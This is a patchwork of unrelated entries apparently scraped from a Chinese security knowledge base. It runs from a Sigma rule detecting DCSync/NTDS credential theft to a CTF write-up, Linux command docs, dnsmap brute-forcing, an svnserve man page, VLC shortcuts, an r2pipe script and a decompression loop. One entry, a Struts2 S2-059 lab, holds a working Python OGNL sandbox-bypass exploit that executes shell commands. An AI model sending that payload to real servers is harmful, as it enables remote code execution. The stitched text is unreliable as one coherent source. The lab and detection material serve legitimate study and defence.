- attack.credential_access
- attack.t1003
logsource:
product: windows
service: security
detection:
selection1:
EventID: 4624
ComputerName: '%DomainControllersNamesList%'
selection2:
IpAddress: '%DomainControllersIpsList%'
selection3:
EventID: 4662
ComputerName: '%DomainControllersNamesList%'
SubjectLogonId: '%SuspiciousTargetLogonIdList%'
Properties|contains:
- '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2'
- '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2'
condition: write TargetLogonId from selection1 (if not selection2) to list %SuspiciousTargetLogonIdList%; then if selection3 -> alert
falsepositives:
- Legitimate administrator adding new domain controller to already existing domain
level: medium
status: experimental
```
### 建议
检测规则未经过实际验证,谨慎使用。
## 参考推荐
MITRE-ATT&CK-T1003-003
<https://attack.mitre.org/techniques/T1003/003>
域渗透——获得域控服务器的NTDS.dit文件
<https://xz.aliyun.com/t/2187>
NTDS.dit密码快速提取工具
<https://www.secpulse.com/archives/6301.html>
域hash值破解的总结经验
<https://www.cnblogs.com/backlion/p/6785639.html?utm_source=itdadao&utm_medium=referral>
|
sec-knowleage
|
# Special (Misc, 405p, 58 solved)
```
You will find a special path where the answer lies.
```
A recon task, where nothing is given.
We spent some time looking around for some strange js files, comment in source code of the page etc. by to no avail.
Then just accidentally someone got interested in the [background of the CTF webpage](background.jpg).
It's rather common to place some random codes on IT webpages in images/logos etc, but still it might be something.
Once you try to read the blurry code it becomes obvious that this is in fact the `Special` task.
The code is quite simple, we have hexbytes which should get decoded to ascii chars, the resulting string is again hex encoded so we need to decode it one more time and finally we have to invert it to get the flag.
The hard part was to type down those blurry values but in the end we got it:
```python
"".join([chr(int(c,16)) for c in '37 39 37 33 36 31 36 35 37 30 35 66 37 39 37 33 36 31 36 35'.split()]).decode("hex")[::-1]
```
Which becomes a flag: `EKO{easy_peasy}`
|
sec-knowleage
|
dpkg-statoverride
===
Debian Linux中覆盖文件的所有权和模式
## 补充说明
**dpkg-statoverride命令** 用于Debian Linux中覆盖文件的所有权和模式,让dpkg于包安装时使得文件所有权与模式失效。
### 语法
```shell
dpkg-statoverride(选项)
```
### 选项
```shell
-add:为文件添加一个改写;
--remove:为文件删除一个改写;
--list:显示所有改写列表;
--update:如果文件存在,则立刻执行改写操作。
```
### 实例
修改文件夹的权限属性:
```shell
sudo dpkg-statoverride --update --add nagios nagios 751 /var/lib/nagios3
```
强制修改文件夹的权限属性:
```shell
sudo dpkg-statoverride --force --update --add root sasl 755 /var/spool/postfix/var/run/saslauthd
```
将文件从数据库中删除:
```shell
sudo dpkg-statoverride --remove /usr/bin/wall
```
|
sec-knowleage
|
# Struts2 S2-059 Remote Code Execution Vulnerablity(CVE-2019-0230)
[中文版本(Chinese version)](README.zh-cn.md)
The Apache Struts frameworks, when forced, performs double evaluation of attributes' values assigned to certain tags attributes such as id so it is possible to pass in a value that will be evaluated again when a tag's attributes will be rendered. With a carefully crafted request, this can lead to Remote Code Execution (RCE).
Affected Version: Struts 2.0.0 - Struts 2.5.20
References:
- https://cwiki.apache.org/confluence/display/WW/S2-059
- https://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776
## Setup
Start the Struts 2.5.16 environment:
```
docker compose up -d
```
After the environment is started, visit `http://your-ip:8080/?id=1` and you will see the Struts2 test page.
## Exploit
visit `http://your-ip:8080/?id=%25%7B233*233%7D`, it can be seen that the result of 233*233 has been returned in the id attribute.

[OGNL Apache Struts exploit: Weaponizing a sandbox bypass (CVE-2018-11776)](https://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776) gives the details of OGNL sandbox bypass in Struts 2.5.16.
A simple Python POC for Verifying the vulnerability:
```python
import requests
url = "http://127.0.0.1:8080"
data1 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch /tmp/success'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)
```
Execute the poc and the `touch /tmp/success` command has been executed:

|
sec-knowleage
|
---
title: dnsmap
categories: Information Gathering
tags: [information gathering,recon,dnsmap,dns,kali linux]
date: 2016-10-20 17:55:00
---
0x00 dnsmap介绍
-------------
dnsmap起源于2006年,是受到一个叫做“The Thief No One Saw”的小故事的启发后开发的,这个小故事能在Paul Craig的书《Stealing the Network - How to Own the Bow》中找到。
dnsmap 主要用来在渗透测试的信息收集阶段来协助测试网络的基础设施的安全性,它能发现目标的网段,域名,甚至是电话号码等等。
子域名穷举在穷举子域名方面也是一项新的技术,尤其是在域传送技术失效的时候。(在最近我很少看到公开允许域传输的例子)
工具来源:http://code.google.com/p/dnsmap/
[dnsmap主页][1] | [Kali dnsmap Repo仓库][2]
- 作者:pagvac
- 证书:GPLv2
0x01 dnsmap功能
---------------
dnsmap - DNS域名蛮力穷举工具
```shell
root@kali:~# dnsmap
dnsmap 0.30 - DNS Network Mapper by pagvac (gnucitizen.org)
用法: dnsmap <目标域> [选项]
选项:
-w <指定字典文件>
-r <指定结果以常规格式输出文件>
-c <指定结果以csv格式输出文件>
-d <设置延迟(毫秒)>
-i <忽略的IP> (当你遇到一个虚假的IP地址时很有用)
示例:
dnsmap target-domain.com
dnsmap target-domain.com -w yourwordlist.txt -r /tmp/domainbf_results.txt
dnsmap target-fomain.com -r /tmp/ -d 3000
dnsmap target-fomain.com -r ./domainbf_results.txt
```
<!--more-->
0x02 dnsmap用法示例
-----------------
```shell
root@kali:~# dnsmap example.com -w /usr/share/wordlists/dnsmap.txt
dnsmap 0.30 - DNS Network Mapper by pagvac (gnucitizen.org)
[+] searching (sub)domains for example.com using /usr/share/wordlists/dnsmap.txt
[+] using maximum random delay of 10 millisecond(s) between requests
```
0x02 dnsmap-bulk用法示例
--------------------
```shell
root@kali:~# dnsmap-bulk.sh domain.txt
dnsmap 0.30 - DNS Network Mapper by pagvac (gnucitizen.org)
[+] searching (sub)domains for acm.cuit.edu.cn using built-in wordlist
[+] using maximum random delay of 10 millisecond(s) between requests
[+] 0 (sub)domains and 0 IP address(es) found
[+] completion time: 17 second(s)
dnsmap 0.30 - DNS Network Mapper by pagvac (gnucitizen.org)
[+] error: entered domain is not valid!
dnsmap 0.30 - DNS Network Mapper by pagvac (gnucitizen.org)
[+] error: entered domain is not valid!
dnsmap 0.30 - DNS Network Mapper by pagvac (gnucitizen.org)
[+] error: entered domain is not valid!
dnsmap 0.30 - DNS Network Mapper by pagvac (gnucitizen.org)
[+] searching (sub)domains for 210.41.225.250 using built-in wordlist
[+] using maximum random delay of 10 millisecond(s) between requests
...
...
```
[1]: http://code.google.com/p/dnsmap/
[2]: http://git.kali.org/gitweb/?p=packages/dnsmap.git;a=summary
|
sec-knowleage
|
.\" You can view this file with:
.\" nroff -man [filename]
.\"
.TH svnserve 8
.SH NAME
svnserve \- 使用 `svn' 访问仓库时的服务器
.SH "SYNOPSIS 总览"
.TP
\fBsvnserve\fP [\fIoptions\fP]
.SH "DESCRIPTION 描述"
\fBsvnserve\fP 允许使用 svn 网络协议访问 Subversion 仓库。它可以运行为独立的服务器进程,也可以在 xinetd 控制下运行。在启动 \fBsvnserver\fP 时,必须选择操作的模式。下列选项也被识别:
.PP
.TP 5
\fB\-d\fP, \fB\-\-daemon\fP
使得 \fBsvnserve\fP 以守护进程方式运行。\fBsvnserve\fP 使自身运行在后台,在 svn 端口 (默认是 3690) 监听并提供服务。
.PP
.TP 5
\fB\-\-listen-port\fP=\fIport\fP
使得 \fBsvnserve\fP 在以守护进程方式运行时监听 \fIport\fP 端口。
.PP
.TP 5
\fB\-\-listen-host\fP=\fIhost\fP
使得 \fBsvnserver\fP 监听 \fIhost\fP 指定的接口,可以是一个主机名或是一个 IP 地址。
.PP
.TP 5
\fB\-\-foreground\fP
当与 \fB\-d\fP 一同使用时,这个选项使得 \fBsvnserve\fP 在前台运行。这个选项主要用于调试。
.PP
.TP 5
\fB\-i\fP, \fB\-\-inetd\fP
使得 \fBsvnserve\fP 使用标准输入/标准输出文件描述符,当它在 xinetd 控制下运行时应该这样做。
.PP
.TP 5
\fB\-h\fP, \fB\-\-help\fP
显示用法信息,然后退出。
.PP
.TP 5
\fB\-r\fP \fIroot\fP, \fB\-\-root\fP=\fIroot\fP
为它提供服务的所有仓库设置虚根目录。客户端给出的 URL 中的路径名将被解释为相对于此 “根” 目录的路径,不允许超出根目录的范围。
.PP
.TP 5
\fB\-t\fP, \fB\-\-tunnel\fP
使得 \fBsvnserver\fP 运行于隧道模式,操作与 xinetd 模式类似 (在标准输入/标准输出提供一个连接),但是将连接视为已认证的,认证用户就是当前的 uid。这个选项是在客户端运行于一个隧道代理上时使用。
.PP
.TP 5
\fB\-T\fP, \fB\-\-threads\fP
当运行在守护进程模式时,使得 \fBsvnserve\fP 为每个连接产生新线程而不是新进程。\fBsvnserve\fP 进程在启动时仍然将自身放到后台。
.PP
.TP 5
\fB\-X\fP, \fB\-\-listen\-once\fP
使得 \fBsvnserve\fP 接受 svn 端口的一个连接,提供服务,然后退出。这个选项主要用于调试。
.PP
一旦客户端通过传递 URL 选择了一个仓库,\fBsnvserve\fP 读取这个仓库中名为 \fBconf/svnserve.conf\fP 的文件,判断特定于仓库的设置信息,例如使用什么认证数据库,接受什么样的认证规则。参见 \fBsvnserve.conf\fP(5) 来查看文件格式的详细信息。
|
sec-knowleage
|
---
title: VLC Player
date: 2022-11-23 16:23:31.696412
background: bg-[#e7792e]
label:
tags:
-
-
categories:
- Keyboard Shortcuts
intro: |
A visual cheat-sheet for the 82 keyboard shortcuts found in VLC Player
---
Keyboard Shortcuts
------------------
### General I
Shortcut | Action
---|---
`F` | Fullscreen
`Esc` | Leave fullscreen
`Space` | Play/Pause
`]` | Pause only
`[` | Play only
`+` | Faster
`-` | Slower
`=` | Normal rate
`N` | Next
`P` | Previous
`S` | Stop
`T` | Position
`Shift` `Left` | Very short backwards jump
`Shift` `Right` | Very short forwards jump
`Alt` `Left` | Short backwards jump
`Alt` `Right` | Short forwards jump
`Ctrl` `Left` | Medium backwards jump
`Ctrl` `Right` | Medium forwards jump
`Ctrl` `Alt` `Left` | Long backwards jump
`Ctrl` `Alt` `Right` | Long forwards jump
`E` | Next frame
`Enter` | Activate
`Up` | Navigate up
`Down` | Navigate down
`Left` | Navigate left
`Right` | Navigate right
`Shift` `M` | Go to the DVD menu
`Shift` `O` | Select previous DVD title
{.shortcuts}
### General II
Shortcut | Action
---|---
`Shift` `B` | Select next DVD title
`Shift` `P` | Select previous DVD chapter
`Shift` `N` | Select next DVD chapter
`Ctrl` `Q` | Quit
`Ctrl` `Up` | Volume up
`Ctrl` `Down` | Volume down
`M` | Mute
`H` | Subtitle delay up
`G` | Subtitle delay down
`K` | Audio delay up
`J` | Audio delay down
`B` | Cycle audio track
`Shift` `A` | Cycle through audio devices
`V` | Cycle subtitle track
`A` | Cycle source aspect ratio
`C` | Cycle video crop
`O` | Toggle autoscaling
`Alt` `O` | Increase scale factor
`Shift` `Alt` `O` | Decrease scale factor
`D` | Cycle deinterlace modes
`I` | Show interface
`Shift` `I` | Hide interface
`Shift` `S` | Take video snapshot
`Shift` `G` | Go back in browsing history
`Shift` `H` | Go forward in browsing history
`Shift` `R` | Record
`Shift` `D` | Dump
`Z` | Zoom
{.shortcuts}
### General III
Shortcut | Action
---|---
`Shift` `Z` | Un-Zoom
`W` | Toggle wallpaper mode
`Alt` `Shift` `M` | Display OSD menu on top
`Alt` `Ctrl` `M` | Do not display OSD menu
`Alt` `Shift` `Right` | Highlight widget on the right
`Alt` `Shift` `Left` | Highlight widget on the left
`Alt` `Shift` `Up` | Highlight widget on top
`Alt` `Shift` `Down` | Highlight widget on bottom
`Alt` `Shift` `Enter` | Select current widget
`Alt` `R` | Crop one pixel from the top
`Alt` `Shift` `R` | Uncrop one pixel from the top
`Alt` `D` | Crop one pixel from the left
`Alt` `Shift` `D` | Uncrop one pixel from the left
`Alt` `C` | Crop one pixel from the bottom
`Alt` `Shift` `C` | Uncrop one pixel from the bottom
`Alt` `F` | Crop one pixel from the right
`Alt` `Shift` `F` | Uncrop one pixel from the right
`R` | Random
`L` | Normal/Repeat/Loop
`Ctrl` `1` | 1:4 Quarter
`Ctrl` `2` | 1:2 Half
`Ctrl` `3` | 1:1 Original
`Ctrl` `4` | 2:1 Double
`3` | Very short jump length (integer)
`Ctrl` `F1-F10` | Set playlist bookmark 1-10
`F1-F10` | Play playlist bookmark 1-10
{.shortcuts}
Also see
--------
- [Keyboard shortcuts for VLC](https://wiki.videolan.org/hotkeys_table/) _(wiki.videolan.org)_
|
sec-knowleage
|
import r2pipe, sys
r2=r2pipe.open("iof.elf")
fn=[
0x40103b40,
0x40103b90,
0x40103bbc,
0x40103bdc,
0x40103c00,
0x40103c24,
0x40103c44,
0x40103c98,
0x40103ce0,
0x40103d60,
0x40103d88,
0x40103dac,
0x40103dd8,
0x40103e04,
0x40103e64,
0x40103ec0,
0x40103ee0,
0x40103f00,
0x40103f3c,
0x40103f5c,
0x40103f84,
0x40103fb4
]
for f in fn:
print hex(f)
r2.cmd("s "+hex(f))
r2.cmd("af")
r2.cmd("afn f"+hex(f))
j=r2.cmdj("pdfj")["ops"]
for c in j:
op=c["opcode"]
op=op.replace("0x400d0a94", "$pass")
op=op.replace("0x400d0aa0", "$MAC")
op=op.replace("0x400d0a98", "$state")
print " "+op
if "bne" in op:
print "{-}"
print "-----------------"
|
sec-knowleage
|
bg
===
将前台终端作业移动到后台运行
## 概要
```shell
bg [job_spec ...]
```
## 主要用途
- 用于将作业放到后台运行,使前台可以执行其他任务。该命令的运行效果与在指令后面添加符号`&`的效果是相同的,都是将其放到系统后台执行。
- 若后台任务中只有一个,则使用该命令时可以省略任务号。
## 参数
job_spec(可选):指定要移动到后台执行的作业标识符,可以是一到多个。
## 返回值
返回成功除非未开启作业控制或发生了错误。
## 例子
```shell
# 运行sleep命令,然后按下ctrl+z。
sleep 60
^Z
[1]+ Stopped sleep 60
# 使用bg命令使得作业在后台运行。
bg %1
# 返回信息:
[1]+ sleep 60 &
```
### 注意
1. `bash`的作业控制命令包括`bg fg kill wait disown suspend`。
2. 该命令需要`set`选项`monitor`处于开启状态时才能执行;查看作业控制状态:输入`set -o`查看`monitor`行;执行`set -o monitor`或`set -m`开启该选项。
3. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
|
sec-knowleage
|
import os
from subprocess import check_output, call
while(True):
fileType = check_output(["file", "f100"])
fileType = fileType[6:9]
print(fileType)
if(fileType=='ARC'):
print('ARC')
os.system("nomarch -p f100 > out")
os.system("mv out f100")
elif(fileType=='PPM'):
print('PPMD')
os.system("ppmd d f100")
os.system("mv secret f100")
elif(fileType=='Mic'):
print('Cabinet')
os.system("cabextract f100")
os.system("mv secret f100")
elif(fileType=='bzi'):
print('Bzip2')
os.system("bzip2 -d f100")
os.system("mv f100.out f100")
elif(fileType=='XZ'):
print('XZ')
os.system("unxz < f100 > out")
os.system("mv out f100")
elif(fileType=='7-z'):
print('7-Z')
os.system("7z e f100")
os.system("mv secret f100")
elif(fileType=='gzi'):
print('gzip')
os.system("mv f100 f100.gz")
os.system("gzip -d f100.gz")
elif(fileType=='POS'):
print('POSIX')
os.system("tar -xvf f100")
os.system("mv secret f100")
elif(fileType=='Zip'):
print('ZIP')
os.system("unzip f100")
os.system("mv secret f100")
elif(fileType=='ARJ'):
print('ARJ')
os.system("mv f100 f100.arj")
os.system("arj e f100")
os.system("mv secret f100")
elif(fileType=='rzi'):
print('fzip')
os.system("mv f100 f100.rz")
os.system("rzip -d f100.rz")
os.system("mv secret f100")
elif(fileType=='Zoo'):
print('zoo')
os.system("mv f100 f100.zoo")
os.system("zoo -extract f100")
os.system("mv secret f100")
elif(fileType=='RAR'):
print('RAR')
os.system("unrar e f100")
os.system("mv secret f100")
else :
exit();
|
sec-knowleage
|
Subsets and Splits
Top 100 EPUB Books
This query retrieves a limited set of raw data entries that belong to the 'epub_books' category, offering only basic filtering without deeper insights.